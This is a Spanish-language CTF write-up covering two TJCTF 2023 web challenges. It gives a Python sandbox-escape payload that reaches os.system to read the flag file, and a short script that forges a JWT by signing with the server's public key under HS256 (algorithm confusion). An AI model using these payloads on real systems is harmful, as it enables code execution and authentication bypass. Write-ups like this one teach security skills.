Skip to content

[TJCTF 2023] Web challenges - Parte 2

2 minutos de lectura
Posted on:28 de mayo de 2023 at 22:00

Web Challenges - Parte 2

#outdated

Author: sToro

En este reto nos encontramos con una web donde podremos subir un fichero python y nos devolverá por pantalla el resultado de nuestro pequeño programa. Este tipo de retos es común, y se trata de una “python jail”, porque solo podemos ejecutar python y además están limitadas las funciones que podemos realizar, no podremos hacer imports y tampoco podemos usar una serie de palabras que están definidas y podemos ver en el código proporcionado por la organizacion.

Para este reto fuí directo a HackTricks y allí pasé muuucho tiempo, ya que estuve probando unos cuantos payloads. Finalmente me funcionó este:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("cat flag*.txt")

Imagen donde está escrita la flag del reto

Cabe destacar que usamos el comanto cat flag*.txt con el asterisco porque en el run.sh que se usa para arrancar el contenedor, el nombre del fichero de la flag va con un random.

mkdir uploads && mv flag.txt flag-$(cat /proc/sys/kernel/random/uuid).txt

#back-to-the-past

Reto en el que vamos a realizar un Algorithm confusion attack ya que disponemos de una clave pública. Como siempre, lo primero que hacemos es analizar todo el código, vemos varias cosas interesantes:

Nos registramos y obtenemos un token que está firmado con un algortimo RS256

def generate_token(id, username, year):
    return jwt.encode(
        {"id": id, "username": username, "year": year},
         private_key, algorithm="RS256"
    )

Aquí vemos como se genera el token, clave privada y como hemos dicho, algoritmo RS256. Pero si seguimos con el análisis del código vemos que a la hora de comprobar el token admite otro algoritmo, HS256. Como al cifrar con el token es necesario proveer la clave pública aprovecharemos esto para generar y firmar un token nuevo pero modificado para poder superar el reto, porque como ya he comentado antes, tenemos que tener un año de nacimiento concreto para poder visitar la ruta de retro con el flag inyectado en el template:

@app.route("/retro")
@login_required()
def retro(user):
    if int(user["year"]) > 1970:
        return render_template("retro.html", flag="you aren't *retro* enough")
    else:
        return render_template("retro.html", flag=flag)

Imagen con el registro del reto

Esto lo podemos hacer de muchas maneras pero yo lo hice con un pequeño script de python que os dejo aqui:

import jwt

public_key = open("static/public_key.pem", "rb").read()
def generate_token(id, username, year):
    return jwt.encode(
        {"id": id, "username": username, "year": year}, public_key, algorithm="HS256"
)

print(generate_token(1, 'm44lr0m', 1969))

Con el token que nos genera este script, lo único que nos queda es modificar la cookie con este nuevo token y voilà

Imagen con el registro del reto

Parte 1